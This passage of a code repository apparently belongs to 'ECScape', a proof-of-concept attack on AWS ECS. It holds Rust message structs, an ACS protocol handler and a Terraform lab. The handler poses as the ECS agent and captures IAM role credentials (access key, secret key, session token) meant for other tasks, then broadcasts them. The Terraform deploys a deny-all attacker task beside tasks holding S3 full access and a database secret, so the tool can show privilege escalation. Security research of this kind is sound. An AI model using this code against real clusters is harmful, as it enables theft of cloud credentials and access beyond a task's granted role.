cluster: Option, 64 | pub container_instance: Option, 65 | } 66 | 67 | // Supporting metadata structures - Based on Go API 68 | #[derive(Serialize, Deserialize, Debug)] 69 | #[serde(rename_all = "camelCase")] 70 | pub struct MetricsMetadata { 71 | pub cluster: Option, 72 | pub container_instance: Option, 73 | pub fin: Option, 74 | pub idle: Option, 75 | pub message_id: Option, 76 | } 77 | 78 | #[derive(Serialize, Deserialize, Debug)] 79 | #[serde(rename_all = "camelCase")] 80 | pub struct HealthMetadata { 81 | pub cluster: Option, 82 | pub container_instance: Option, 83 | pub fin: Option, 84 | pub message_id: Option, 85 | } 86 | 87 | #[derive(Serialize, Deserialize, Debug)] 88 | #[serde(rename_all = "camelCase")] 89 | pub struct InstanceStatusMetadata { 90 | pub cluster: Option, 91 | pub container_instance: Option, 92 | pub request_id: Option, 93 | } 94 | 95 | // Instance metrics structure - Based on Go API 96 | #[derive(Serialize, Deserialize, Debug)] 97 | #[serde(rename_all = "camelCase")] 98 | pub struct InstanceMetrics { 99 | pub storage: Option, 100 | } 101 | 102 | #[derive(Serialize, Deserialize, Debug)] 103 | #[serde(rename_all = "camelCase")] 104 | pub struct InstanceStorageMetrics { 105 | pub data_filesystem: Option, 106 | pub root_filesystem: Option, 107 | } 108 | 109 | // Task-related structures - Based on Go API 110 | #[derive(Serialize, Deserialize, Debug)] 111 | #[serde(rename_all = "camelCase")] 112 | pub struct TaskMetric { 113 | pub cluster_arn: Option, 114 | pub container_metrics: Option>, 115 | pub ephemeral_storage_metrics: Option, 116 | pub service_connect_metrics_wrapper: Option>, 117 | pub task_arn: Option, 118 | pub task_definition_family: Option, 119 | pub task_definition_version: Option, 120 | pub volume_metrics: Option>, 121 | } 122 | 123 | #[derive(Serialize, Deserialize, Debug)] 124 | #[serde(rename_all = "camelCase")] 125 | pub struct TaskHealth { 126 | pub cluster_arn: Option, 127 | pub containers: Option>, 128 | pub task_arn: Option, 129 | pub task_definition_family: Option, 130 | pub task_definition_version: Option, 131 | } 132 | 133 | #[derive(Serialize, Deserialize, Debug)] 134 | #[serde(rename_all = "camelCase")] 135 | pub struct InstanceStatus { 136 | pub last_status_change: Option, // utils.Timestamp in Go 137 | pub last_updated: Option, // utils.Timestamp in Go 138 | pub status: Option, // enum:"InstanceHealthcheckStatus" 139 | pub r#type: Option, // "type" is reserved keyword, use r#type 140 | } 141 | 142 | // Container-related structures 143 | #[derive(Serialize, Deserialize, Debug)] 144 | #[serde(rename_all = "camelCase")] 145 | pub struct ContainerHealth { 146 | pub container_name: Option, 147 | pub health_status: Option, // enum:"HealthStatus" 148 | pub status_message: Option, 149 | } 150 | 151 | // Placeholder structures for complex nested types - Based on Go API 152 | #[derive(Serialize, Deserialize, Debug)] 153 | #[serde(rename_all = "camelCase")] 154 | pub struct ContainerMetric { 155 | pub container_arn: Option, 156 | pub container_name: Option, 157 | pub cpu_stats_set: Option, 158 | pub memory_stats_set: Option, 159 | pub network_stats_set: Option, 160 | pub restart_stats_set: Option, 161 | pub storage_stats_set: Option, 162 | } 163 | 164 | // Supporting metrics structures - Based on Go API 165 | #[derive(Serialize, Deserialize, Debug)] 166 | #[serde(rename_all = "camelCase")] 167 | pub struct CWStatsSet { 168 | pub max: Option, 169 | pub min: Option, 170 | pub sample_count: Option, 171 | pub sum: Option, 172 | } 173 | 174 | #[derive(Serialize, Deserialize, Debug)] 175 | #[serde(rename_all = "camelCase")] 176 | pub struct NetworkStatsSet { 177 | pub rx_bytes: Option, 178 | pub rx_bytes_per_second: Option, 179 | pub rx_dropped: Option, 180 | pub rx_errors: Option, 181 | pub rx_packets: Option, 182 | pub tx_bytes: Option, 183 | pub tx_bytes_per_second: Option, 184 | pub tx_dropped: Option, 185 | pub tx_errors: Option, 186 | pub tx_packets: Option, 187 | } 188 | 189 | #[derive(Serialize, Deserialize, Debug)] 190 | #[serde(rename_all = "camelCase")] 191 | pub struct RestartStatsSet { 192 | pub exit_code: Option, 193 | pub last_exit_time: Option, // utils.Timestamp in Go 194 | pub last_start_time: Option, // utils.Timestamp in Go 195 | pub restart_count: Option, 196 | } 197 | 198 | #[derive(Serialize, Deserialize, Debug)] 199 | #[serde(rename_all = "camelCase")] 200 | pub struct StorageStatsSet { 201 | pub name: Option, 202 | pub read_bytes_per_second: Option, 203 | pub read_ios_per_second: Option, 204 | pub total_bytes_per_second: Option, 205 | pub total_ios_per_second: Option, 206 | pub write_bytes_per_second: Option, 207 | pub write_ios_per_second: Option, 208 | } 209 | 210 | // Placeholder for complex stat types - simplified for now 211 | #[derive(Serialize, Deserialize, Debug)] 212 | #[serde(rename_all = "camelCase")] 213 | pub struct ULongStatsSet { 214 | pub max: Option, 215 | pub min: Option, 216 | pub sample_count: Option, 217 | pub sum: Option, 218 | } 219 | 220 | #[derive(Serialize, Deserialize, Debug)] 221 | #[serde(rename_all = "camelCase")] 222 | pub struct UDoubleCWStatsSet { 223 | pub max: Option, 224 | pub min: Option, 225 | pub sample_count: Option, 226 | pub sum: Option, 227 | } 228 | 229 | // Remaining placeholder structures (to be expanded as needed) 230 | #[derive(Serialize, Deserialize, Debug)] 231 | #[serde(rename_all = "camelCase")] 232 | pub struct EphemeralStorageMetrics { 233 | pub utilized: Option, 234 | } 235 | 236 | #[derive(Serialize, Deserialize, Debug)] 237 | #[serde(rename_all = "camelCase")] 238 | pub struct GeneralMetricsWrapper { 239 | // Service Connect metrics wrapper - add fields as needed 240 | } 241 | 242 | #[derive(Serialize, Deserialize, Debug)] 243 | #[serde(rename_all = "camelCase")] 244 | pub struct VolumeMetric { 245 | pub name: Option, 246 | pub utilized_bytes: Option, 247 | } 248 | 249 | // TCS inbound message structs (what TCS sends to us) 250 | #[derive(Serialize, Deserialize, Debug)] 251 | #[serde(rename_all = "camelCase")] 252 | pub struct AckPublishMetricStruct { 253 | pub message: Option, 254 | } 255 | 256 | #[derive(Serialize, Deserialize, Debug)] 257 | #[serde(rename_all = "camelCase")] 258 | pub struct AckPublishHealthStruct { 259 | pub message: Option, 260 | } 261 | 262 | #[derive(Serialize, Deserialize, Debug)] 263 | #[serde(rename_all = "camelCase")] 264 | pub struct AckPublishInstanceStatusStruct { 265 | pub message: Option, 266 | } 267 | 268 | #[derive(Serialize, Deserialize, Debug)] 269 | #[serde(rename_all = "camelCase")] 270 | pub struct StopTelemetrySessionMessageStruct { 271 | pub message: Option, 272 | } 273 | 274 | // TCS exception message structs (AWS SDK pattern) 275 | #[derive(Serialize, Deserialize, Debug)] 276 | #[serde(rename_all = "camelCase")] 277 | pub struct ServerExceptionStruct { 278 | pub message: Option, 279 | } 280 | 281 | #[derive(Serialize, Deserialize, Debug)] 282 | #[serde(rename_all = "camelCase")] 283 | pub struct BadRequestExceptionStruct { 284 | pub message: Option, 285 | } 286 | 287 | #[derive(Serialize, Deserialize, Debug)] 288 | #[serde(rename_all = "camelCase")] 289 | pub struct ResourceValidationExceptionStruct { 290 | pub message: Option, 291 | } 292 | 293 | #[derive(Serialize, Deserialize, Debug)] 294 | #[serde(rename_all = "camelCase")] 295 | pub struct InvalidParameterExceptionStruct { 296 | pub message: Option, 297 | } 298 | 299 | #[derive(Serialize, Deserialize, Debug)] 300 | #[serde(rename_all = "camelCase")] 301 | pub struct ErrorMessageStruct { 302 | pub message: Option, 303 | } 304 | -------------------------------------------------------------------------------- /src/protocols/acs/handler.rs: -------------------------------------------------------------------------------- 1 | use crate::{ 2 | credentials_reactors::ECScapeCredentials, 3 | protocols::{ 4 | acs::{ 5 | request_builder::ACSRequestBuilder, 6 | structs::{ 7 | ACSMessage, AckRequestStruct, HeartbeatAckRequestStruct, 8 | IAMRoleCredentialsAckRequestStruct, RefreshCredentialsAckRequestStruct, 9 | TaskStopVerificationAckStruct, 10 | }, 11 | }, 12 | protocol_client::ProtocolClient, 13 | protocol_handler::ProtocolHandler, 14 | request_builder::RequestBuilder, 15 | }, 16 | }; 17 | use anyhow::Result; 18 | use async_trait::async_trait; 19 | use aws_credential_types::Credentials; 20 | use aws_sdk_ecs::operation::discover_poll_endpoint::DiscoverPollEndpointOutput; 21 | use chrono; 22 | use tokio::sync::broadcast::Sender; 23 | use tokio_tungstenite::tungstenite::http::Request; 24 | use tracing::{debug, error, info, warn}; 25 | 26 | pub struct ACSHandler { 27 | request_builder: ACSRequestBuilder, 28 | credentials_sender: Sender, 29 | credentials: Credentials, 30 | discover_poll_endpoint_output: DiscoverPollEndpointOutput, 31 | region: String, 32 | cluster_arn: String, 33 | container_instance_arn: String, 34 | agent_version: String, 35 | agent_hash: String, 36 | } 37 | 38 | impl ACSHandler { 39 | pub fn new( 40 | credentials_sender: Sender, 41 | credentials: Credentials, 42 | discover_poll_endpoint_output: DiscoverPollEndpointOutput, 43 | region: String, 44 | cluster_arn: String, 45 | container_instance_arn: String, 46 | agent_version: String, 47 | agent_hash: String, 48 | ) -> Self { 49 | Self { 50 | request_builder: ACSRequestBuilder::new(), 51 | credentials_sender, 52 | credentials, 53 | discover_poll_endpoint_output, 54 | region, 55 | cluster_arn, 56 | container_instance_arn, 57 | agent_version, 58 | agent_hash, 59 | } 60 | } 61 | 62 | async fn handle_message( 63 | &self, 64 | client: &mut ProtocolClient, 65 | message: ACSMessage, 66 | ) -> Result<()> { 67 | match message { 68 | ACSMessage::HeartbeatMessage(msg) => { 69 | info!("Processing HeartbeatMessage: {:?}", msg); 70 | let heartbeat_ack = HeartbeatAckRequestStruct { 71 | message_id: msg.message_id.clone(), 72 | }; 73 | let ack_message = ACSMessage::HeartbeatAckRequest(heartbeat_ack); 74 | client.send(&ack_message).await?; 75 | debug!( 76 | "Sent HeartbeatAckRequest for message ID: {}", 77 | msg.message_id 78 | ); 79 | } 80 | 81 | ACSMessage::PayloadMessage(msg) => { 82 | info!("Processing PayloadMessage: {:?}", msg); 83 | let payload_ack = AckRequestStruct { 84 | message_id: msg.message_id.clone(), 85 | cluster: msg.cluster_arn.clone(), 86 | container_instance: msg.container_instance_arn.clone(), 87 | }; 88 | let ack_message = ACSMessage::AckRequest(payload_ack); 89 | client.send(&ack_message).await?; 90 | debug!( 91 | "Sent PayloadMessage AckRequest for message ID: {}", 92 | msg.message_id 93 | ); 94 | 95 | if let Some(tasks) = &msg.tasks { 96 | for task in tasks { 97 | if let Some(credentials) = &task.role_credentials { 98 | let creds_ack = IAMRoleCredentialsAckRequestStruct { 99 | message_id: msg.message_id.clone(), 100 | credentials_id: credentials.credentials_id.clone(), 101 | expiration: credentials.expiration.clone(), 102 | }; 103 | let creds_ack_message = 104 | ACSMessage::IAMRoleCredentialsAckRequest(creds_ack); 105 | client.send(&creds_ack_message).await?; 106 | debug!( 107 | "Sent IAMRoleCredentialsAckRequest for task {}", 108 | task.arn.as_ref().unwrap_or(&"unknown".to_string()) 109 | ); 110 | } 111 | } 112 | } 113 | } 114 | 115 | ACSMessage::AttachTaskNetworkInterfacesMessage(msg) => { 116 | info!("Processing AttachTaskNetworkInterfacesMessage: {:?}", msg); 117 | let ack = AckRequestStruct { 118 | message_id: msg.message_id.clone(), 119 | cluster: msg.cluster_arn.clone(), 120 | container_instance: msg.container_instance_arn.clone(), 121 | }; 122 | let ack_message = ACSMessage::AckRequest(ack); 123 | client.send(&ack_message).await?; 124 | debug!( 125 | "Sent AttachTaskNetworkInterfacesMessage AckRequest for message ID: {}", 126 | msg.message_id 127 | ); 128 | } 129 | 130 | ACSMessage::AttachInstanceNetworkInterfacesMessage(msg) => { 131 | info!( 132 | "Processing AttachInstanceNetworkInterfacesMessage: {:?}", 133 | msg 134 | ); 135 | let ack = AckRequestStruct { 136 | message_id: msg.message_id.clone(), 137 | cluster: msg.cluster_arn.clone(), 138 | container_instance: msg.container_instance_arn.clone(), 139 | }; 140 | let ack_message = ACSMessage::AckRequest(ack); 141 | client.send(&ack_message).await?; 142 | debug!( 143 | "Sent AttachInstanceNetworkInterfacesMessage AckRequest for message ID: {}", 144 | msg.message_id 145 | ); 146 | } 147 | 148 | ACSMessage::ConfirmAttachmentMessage(msg) => { 149 | info!("Processing ConfirmAttachmentMessage: {:?}", msg); 150 | let ack = AckRequestStruct { 151 | message_id: msg.message_id.clone(), 152 | cluster: msg.cluster_arn.clone(), 153 | container_instance: msg.container_instance_arn.clone(), 154 | }; 155 | let ack_message = ACSMessage::AckRequest(ack); 156 | client.send(&ack_message).await?; 157 | debug!( 158 | "Sent ConfirmAttachmentMessage AckRequest for message ID: {}", 159 | msg.message_id 160 | ); 161 | } 162 | 163 | ACSMessage::TaskManifestMessage(msg) => { 164 | info!("Processing TaskManifestMessage: {:?}", msg); 165 | let ack = AckRequestStruct { 166 | message_id: msg.message_id.clone(), 167 | cluster: msg.cluster_arn.clone(), 168 | container_instance: msg.container_instance_arn.clone(), 169 | }; 170 | let ack_message = ACSMessage::AckRequest(ack); 171 | client.send(&ack_message).await?; 172 | debug!( 173 | "Sent TaskManifestMessage AckRequest for message ID: {}", 174 | msg.message_id 175 | ); 176 | } 177 | 178 | ACSMessage::IAMRoleCredentialsMessage(msg) => { 179 | info!("Processing IAMRoleCredentialsMessage: {:?}", msg); 180 | if let Some(credentials) = &msg.role_credentials { 181 | let ack = IAMRoleCredentialsAckRequestStruct { 182 | message_id: msg.message_id.clone(), 183 | credentials_id: credentials.credentials_id.clone(), 184 | expiration: credentials.expiration.clone(), 185 | }; 186 | let ack_message = ACSMessage::IAMRoleCredentialsAckRequest(ack); 187 | client.send(&ack_message).await?; 188 | debug!( 189 | "Sent IAMRoleCredentialsAckRequest for message ID: {}", 190 | msg.message_id 191 | ); 192 | 193 | // Broadcast credentials 194 | self.credentials_sender.send(ECScapeCredentials { 195 | access_key_id: credentials.access_key_id.clone(), 196 | secret_access_key: credentials.secret_access_key.clone(), 197 | session_token: credentials.session_token.clone(), 198 | })?; 199 | } else { 200 | warn!( 201 | "IAMRoleCredentialsMessage missing credentials for message ID: {}", 202 | msg.message_id 203 | ); 204 | } 205 | } 206 | 207 | ACSMessage::RefreshCredentialsMessage(msg) => { 208 | info!("Processing RefreshCredentialsMessage: {:?}", msg); 209 | if let Some(credentials) = &msg.role_credentials { 210 | let ack = RefreshCredentialsAckRequestStruct { 211 | message_id: msg.message_id.clone(), 212 | task_arn: msg.task_arn.clone(), 213 | expiration: credentials.expiration.clone(), 214 | credentials_id: credentials.credentials_id.clone(), 215 | }; 216 | let ack_message = ACSMessage::RefreshCredentialsAckRequest(ack); 217 | client.send(&ack_message).await?; 218 | debug!( 219 | "Sent RefreshCredentialsAckRequest for message ID: {}", 220 | msg.message_id 221 | ); 222 | } else { 223 | warn!( 224 | "RefreshCredentialsMessage missing credentials for message ID: {}", 225 | msg.message_id 226 | ); 227 | } 228 | } 229 | 230 | ACSMessage::TaskStopVerificationMessage(msg) => { 231 | info!("Processing TaskStopVerificationMessage: {:?}", msg); 232 | let ack = TaskStopVerificationAckStruct { 233 | message_id: msg.message_id.clone(), 234 | generated_at: Some(chrono::Utc::now().timestamp_millis()), 235 | stop_tasks: msg.stop_candidates.clone(), 236 | }; 237 | let ack_message = ACSMessage::TaskStopVerificationAck(ack); 238 | client.send(&ack_message).await?; 239 | debug!( 240 | "Sent TaskStopVerificationAck for message ID: {}", 241 | msg.message_id 242 | ); 243 | } 244 | 245 | // These are responses/acks that we send, not messages we should respond to 246 | ACSMessage::HeartbeatAckRequest(_) 247 | | ACSMessage::AckRequest(_) 248 | | ACSMessage::IAMRoleCredentialsAckRequest(_) 249 | | ACSMessage::RefreshCredentialsAckRequest(_) 250 | | ACSMessage::PublishMetricsRequest(_) 251 | | ACSMessage::PublishInstanceStatusRequest(_) 252 | | ACSMessage::TaskStopVerificationAck(_) => { 253 | debug!("Received response/ack message - no action needed"); 254 | } 255 | 256 | ACSMessage::ErrorMessage(msg) => { 257 | warn!( 258 | "Received ErrorMessage from ACS: message_id={}, error_type={:?}, error_message={:?}", 259 | msg.message_id, msg.error_type, msg.error_message 260 | ); 261 | } 262 | 263 | ACSMessage::CloseMessage(msg) => { 264 | warn!( 265 | "Received CloseMessage from ACS: message_id={}, reason={:?}", 266 | msg.message_id, msg.reason 267 | ); 268 | return Err(anyhow::anyhow!("ACS sent close message: {:?}", msg.reason)); 269 | } 270 | } 271 | 272 | Ok(()) 273 | } 274 | } 275 | 276 | #[async_trait] 277 | impl ProtocolHandler for ACSHandler { 278 | fn build_request(&self) -> Result> { 279 | self.request_builder.build_request( 280 | self.credentials.clone(), 281 | self.discover_poll_endpoint_output.clone(), 282 | &self.region, 283 | &self.cluster_arn, 284 | &self.container_instance_arn, 285 | &self.agent_version, 286 | &self.agent_hash, 287 | ) 288 | } 289 | 290 | async fn start_inner(&self, mut client: ProtocolClient) -> Result<()> { 291 | loop { 292 | match client.receive().await { 293 | Ok(Some(message)) => { 294 | if let Err(err) = self.handle_message(&mut client, message).await { 295 | warn!("Failed to handle message: {:?}", err); 296 | return Err(err); 297 | } 298 | } 299 | Ok(None) => { 300 | warn!("WebSocket connection closed by peer"); 301 | return Err(anyhow::anyhow!("WebSocket connection closed")); 302 | } 303 | Err(err) => { 304 | error!("Failed to receive message: {:?}", err); 305 | return Err(err); 306 | } 307 | } 308 | } 309 | } 310 | } 311 | -------------------------------------------------------------------------------- /terraform/main.tf: -------------------------------------------------------------------------------- 1 | provider "aws" { 2 | region = var.aws_region 3 | } 4 | 5 | variable "aws_region" { 6 | description = "AWS region" 7 | type = string 8 | default = "us-east-2" 9 | } 10 | 11 | data "aws_caller_identity" "current" {} 12 | 13 | resource "aws_iam_policy" "ecscape_policy" { 14 | name = "ecscape-policy" 15 | description = "Policy that denies all actions" 16 | 17 | policy = jsonencode({ 18 | Version = "2012-10-17" 19 | Statement = [ 20 | { 21 | Effect = "Deny" 22 | Action = "*" 23 | Resource = "*" 24 | } 25 | ] 26 | }) 27 | } 28 | 29 | resource "aws_iam_role" "ecscape_role" { 30 | name = "ecscape-role" 31 | 32 | assume_role_policy = jsonencode({ 33 | Version = "2012-10-17" 34 | Statement = [ 35 | { 36 | Action = "sts:AssumeRole" 37 | Effect = "Allow" 38 | Principal = { 39 | Service = "ecs-tasks.amazonaws.com" 40 | } 41 | } 42 | ] 43 | }) 44 | } 45 | 46 | resource "aws_iam_role_policy_attachment" "ecscape_role_attachment" { 47 | role = aws_iam_role.ecscape_role.name 48 | policy_arn = aws_iam_policy.ecscape_policy.arn 49 | } 50 | 51 | resource "aws_iam_role" "s3_control_role" { 52 | name = "s3-control-role" 53 | 54 | assume_role_policy = jsonencode({ 55 | Version = "2012-10-17" 56 | Statement = [ 57 | { 58 | Action = "sts:AssumeRole" 59 | Effect = "Allow" 60 | Principal = { 61 | Service = "ecs-tasks.amazonaws.com" 62 | } 63 | } 64 | ] 65 | }) 66 | } 67 | 68 | resource "aws_iam_role_policy_attachment" "s3_control_role_attachment" { 69 | role = aws_iam_role.s3_control_role.name 70 | policy_arn = "arn:aws:iam::aws:policy/AmazonS3FullAccess" 71 | } 72 | 73 | # Create the secret 74 | resource "aws_secretsmanager_secret" "db_secret" { 75 | name = "db-secret" 76 | description = "Database secret for demo" 77 | } 78 | 79 | resource "aws_secretsmanager_secret_version" "db_secret_version" { 80 | secret_id = aws_secretsmanager_secret.db_secret.id 81 | secret_string = "SuperSecretPassword" 82 | } 83 | 84 | # Custom execution role with permissions to read the specific secret 85 | resource "aws_iam_role" "secret_execution_role" { 86 | name = "secret-execution-role" 87 | 88 | assume_role_policy = jsonencode({ 89 | Version = "2012-10-17" 90 | Statement = [ 91 | { 92 | Action = "sts:AssumeRole" 93 | Effect = "Allow" 94 | Principal = { 95 | Service = "ecs-tasks.amazonaws.com" 96 | } 97 | } 98 | ] 99 | }) 100 | } 101 | 102 | # Base ECS task execution permissions 103 | resource "aws_iam_role_policy_attachment" "secret_execution_role_base" { 104 | role = aws_iam_role.secret_execution_role.name 105 | policy_arn = "arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy" 106 | } 107 | 108 | # Custom policy to read the specific secret 109 | resource "aws_iam_policy" "read_db_secret_secret" { 110 | name = "read-db-password-secret" 111 | description = "Policy to read DB_SECRET secret" 112 | 113 | policy = jsonencode({ 114 | Version = "2012-10-17" 115 | Statement = [ 116 | { 117 | Effect = "Allow" 118 | Action = [ 119 | "secretsmanager:GetSecretValue" 120 | ] 121 | Resource = aws_secretsmanager_secret.db_secret.arn 122 | } 123 | ] 124 | }) 125 | } 126 | 127 | resource "aws_iam_role_policy_attachment" "secret_execution_role_secret_policy" { 128 | role = aws_iam_role.secret_execution_role.name 129 | policy_arn = aws_iam_policy.read_db_secret_secret.arn 130 | } 131 | 132 | # S3 bucket for demonstration 133 | resource "aws_s3_bucket" "s3_bucket" { 134 | bucket = "blackhat-las-vegas-2025" 135 | } 136 | 137 | resource "aws_s3_bucket_public_access_block" "s3_bucket" { 138 | bucket = aws_s3_bucket.s3_bucket.id 139 | 140 | block_public_acls = true 141 | block_public_policy = true 142 | ignore_public_acls = true 143 | restrict_public_buckets = true 144 | } 145 | 146 | resource "aws_ecs_cluster" "ecscape" { 147 | name = "ecscape" 148 | } 149 | 150 | data "aws_vpc" "default" { 151 | default = true 152 | } 153 | 154 | data "aws_subnets" "default" { 155 | filter { 156 | name = "vpc-id" 157 | values = [data.aws_vpc.default.id] 158 | } 159 | } 160 | 161 | resource "aws_autoscaling_group" "ecs_asg" { 162 | name = "ecscape-asg" 163 | vpc_zone_identifier = data.aws_subnets.default.ids 164 | min_size = 1 165 | max_size = 1 166 | desired_capacity = 1 167 | 168 | launch_template { 169 | id = aws_launch_template.ecs_launch_template.id 170 | version = "$Latest" 171 | } 172 | 173 | tag { 174 | key = "AmazonECSManaged" 175 | value = true 176 | propagate_at_launch = false 177 | } 178 | } 179 | 180 | resource "aws_ecs_capacity_provider" "ecscape_capacity_provider" { 181 | name = "escape-cp" 182 | 183 | auto_scaling_group_provider { 184 | auto_scaling_group_arn = aws_autoscaling_group.ecs_asg.arn 185 | 186 | managed_scaling { 187 | maximum_scaling_step_size = 1 188 | minimum_scaling_step_size = 1 189 | status = "ENABLED" 190 | target_capacity = 100 191 | } 192 | 193 | managed_termination_protection = "DISABLED" 194 | } 195 | } 196 | 197 | resource "aws_ecs_cluster_capacity_providers" "ecscape" { 198 | cluster_name = aws_ecs_cluster.ecscape.name 199 | 200 | capacity_providers = [aws_ecs_capacity_provider.ecscape_capacity_provider.name] 201 | 202 | default_capacity_provider_strategy { 203 | base = 1 204 | weight = 100 205 | capacity_provider = aws_ecs_capacity_provider.ecscape_capacity_provider.name 206 | } 207 | } 208 | 209 | data "aws_ami" "ecs_optimized" { 210 | most_recent = true 211 | owners = ["amazon"] 212 | 213 | filter { 214 | name = "name" 215 | values = ["amzn2-ami-ecs-hvm-*-x86_64-ebs"] 216 | } 217 | } 218 | 219 | data "aws_iam_instance_profile" "ecs_instance_profile" { 220 | name = "ecsInstanceRole" 221 | } 222 | 223 | resource "aws_iam_role" "ecs_instance_role" { 224 | name = "ecscape-ecs-instance-role" 225 | 226 | assume_role_policy = jsonencode({ 227 | Version = "2012-10-17" 228 | Statement = [ 229 | { 230 | Action = "sts:AssumeRole" 231 | Effect = "Allow" 232 | Principal = { 233 | Service = "ec2.amazonaws.com" 234 | } 235 | } 236 | ] 237 | }) 238 | } 239 | 240 | resource "aws_iam_role_policy_attachment" "ecs_instance_role_policy" { 241 | role = aws_iam_role.ecs_instance_role.name 242 | policy_arn = "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role" 243 | } 244 | 245 | resource "aws_iam_role_policy_attachment" "ecs_instance_ssm_policy" { 246 | role = aws_iam_role.ecs_instance_role.name 247 | policy_arn = "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore" 248 | } 249 | 250 | resource "aws_iam_instance_profile" "ecs_instance_profile" { 251 | name = "ecscape-ecs-instance-profile" 252 | role = aws_iam_role.ecs_instance_role.name 253 | } 254 | 255 | resource "aws_launch_template" "ecs_launch_template" { 256 | name_prefix = "ecscape-launch-template-" 257 | image_id = data.aws_ami.ecs_optimized.id 258 | instance_type = "c5.large" 259 | 260 | iam_instance_profile { 261 | name = aws_iam_instance_profile.ecs_instance_profile.name 262 | } 263 | 264 | user_data = base64encode(<<-EOF 265 | #!/bin/bash 266 | echo ECS_CLUSTER=ecscape >> /etc/ecs/ecs.config 267 | EOF 268 | ) 269 | } 270 | 271 | resource "aws_ecs_task_definition" "ecscape_task" { 272 | family = "ecscape-task" 273 | network_mode = "host" 274 | task_role_arn = aws_iam_role.ecscape_role.arn 275 | 276 | container_definitions = jsonencode([ 277 | { 278 | name = "ecscape" 279 | image = "ghcr.io/naorhaziz/ecscape:latest" 280 | entryPoint = ["sleep", "infinity"] 281 | essential = true 282 | memory = 512 283 | cpu = 256 284 | } 285 | ]) 286 | } 287 | 288 | resource "aws_ecs_service" "ecscape_service" { 289 | name = "ecscape-service" 290 | cluster = aws_ecs_cluster.ecscape.id 291 | task_definition = aws_ecs_task_definition.ecscape_task.arn 292 | desired_count = 1 293 | 294 | capacity_provider_strategy { 295 | capacity_provider = aws_ecs_capacity_provider.ecscape_capacity_provider.name 296 | weight = 100 297 | base = 1 298 | } 299 | 300 | depends_on = [aws_autoscaling_group.ecs_asg] 301 | } 302 | 303 | resource "aws_ecs_task_definition" "s3_control_task" { 304 | family = "s3-control-task" 305 | network_mode = "host" 306 | task_role_arn = aws_iam_role.s3_control_role.arn 307 | 308 | container_definitions = jsonencode([ 309 | { 310 | name = "s3-control" 311 | image = "ubuntu:latest" 312 | entryPoint = ["sleep", "infinity"] 313 | essential = true 314 | memory = 512 315 | cpu = 256 316 | } 317 | ]) 318 | } 319 | 320 | resource "aws_ecs_service" "s3_control_service" { 321 | name = "s3-control-service" 322 | cluster = aws_ecs_cluster.ecscape.id 323 | task_definition = aws_ecs_task_definition.s3_control_task.arn 324 | desired_count = 1 325 | 326 | capacity_provider_strategy { 327 | capacity_provider = aws_ecs_capacity_provider.ecscape_capacity_provider.name 328 | weight = 100 329 | base = 1 330 | } 331 | 332 | depends_on = [aws_autoscaling_group.ecs_asg] 333 | } 334 | 335 | resource "aws_ecs_task_definition" "database_task" { 336 | family = "database-task" 337 | network_mode = "host" 338 | execution_role_arn = aws_iam_role.secret_execution_role.arn 339 | 340 | container_definitions = jsonencode([ 341 | { 342 | name = "database-app" 343 | image = "ubuntu:latest" 344 | entryPoint = ["sleep", "infinity"] 345 | essential = true 346 | memory = 512 347 | cpu = 256 348 | 349 | # Secret from Secrets Manager exposed as environment variable 350 | secrets = [ 351 | { 352 | name = "DB_SECRET" 353 | valueFrom = aws_secretsmanager_secret.db_secret.arn 354 | } 355 | ] 356 | } 357 | ]) 358 | } 359 | 360 | resource "aws_ecs_service" "database_service" { 361 | name = "database-service" 362 | cluster = aws_ecs_cluster.ecscape.id 363 | task_definition = aws_ecs_task_definition.database_task.arn 364 | desired_count = 1 365 | 366 | capacity_provider_strategy { 367 | capacity_provider = aws_ecs_capacity_provider.ecscape_capacity_provider.name 368 | weight = 100 369 | base = 1 370 | } 371 | 372 | depends_on = [aws_autoscaling_group.ecs_asg] 373 | } 374 | 375 | resource "aws_s3_bucket" "cloudtrail_bucket" { 376 | bucket = "ecscape-cloudtrail-${random_id.bucket_suffix.hex}" 377 | force_destroy = true 378 | } 379 | 380 | resource "random_id" "bucket_suffix" { 381 | byte_length = 4 382 | } 383 | 384 | resource "aws_s3_bucket_public_access_block" "cloudtrail_bucket" { 385 | bucket = aws_s3_bucket.cloudtrail_bucket.id 386 | 387 | block_public_acls = true 388 | block_public_policy = true 389 | ignore_public_acls = true 390 | restrict_public_buckets = true 391 | } 392 | 393 | resource "aws_s3_bucket_policy" "cloudtrail_bucket_policy" { 394 | bucket = aws_s3_bucket.cloudtrail_bucket.id 395 | 396 | policy = jsonencode({ 397 | Version = "2012-10-17" 398 | Statement = [ 399 | { 400 | Sid = "AWSCloudTrailAclCheck" 401 | Effect = "Allow" 402 | Principal = { 403 | Service = "cloudtrail.amazonaws.com" 404 | } 405 | Action = "s3:GetBucketAcl" 406 | Resource = aws_s3_bucket.cloudtrail_bucket.arn 407 | }, 408 | { 409 | Sid = "AWSCloudTrailWrite" 410 | Effect = "Allow" 411 | Principal = { 412 | Service = "cloudtrail.amazonaws.com" 413 | } 414 | Action = "s3:PutObject" 415 | Resource = "${aws_s3_bucket.cloudtrail_bucket.arn}/*" 416 | Condition = { 417 | StringEquals = { 418 | "s3:x-amz-acl" = "bucket-owner-full-control" 419 | } 420 | } 421 | } 422 | ] 423 | }) 424 | } 425 | 426 | # CloudWatch Log Group for CloudTrail 427 | resource "aws_cloudwatch_log_group" "cloudtrail_logs" { 428 | name = "/aws/cloudtrail/ecscape" 429 | retention_in_days = 7 430 | } 431 | 432 | # IAM Role for CloudTrail to write to CloudWatch 433 | resource "aws_iam_role" "cloudtrail_role" { 434 | name = "ecscape-cloudtrail-role" 435 | 436 | assume_role_policy = jsonencode({ 437 | Version = "2012-10-17" 438 | Statement = [ 439 | { 440 | Action = "sts:AssumeRole" 441 | Effect = "Allow" 442 | Principal = { 443 | Service = "cloudtrail.amazonaws.com" 444 | } 445 | } 446 | ] 447 | }) 448 | } 449 | 450 | resource "aws_iam_role_policy" "cloudtrail_logs_policy" { 451 | name = "ecscape-cloudtrail-logs-policy" 452 | role = aws_iam_role.cloudtrail_role.id 453 | 454 | policy = jsonencode({ 455 | Version = "2012-10-17" 456 | Statement = [ 457 | { 458 | Effect = "Allow" 459 | Action = [ 460 | "logs:CreateLogGroup", 461 | "logs:CreateLogStream", 462 | "logs:PutLogEvents", 463 | "logs:DescribeLogGroups", 464 | "logs:DescribeLogStreams" 465 | ] 466 | Resource = 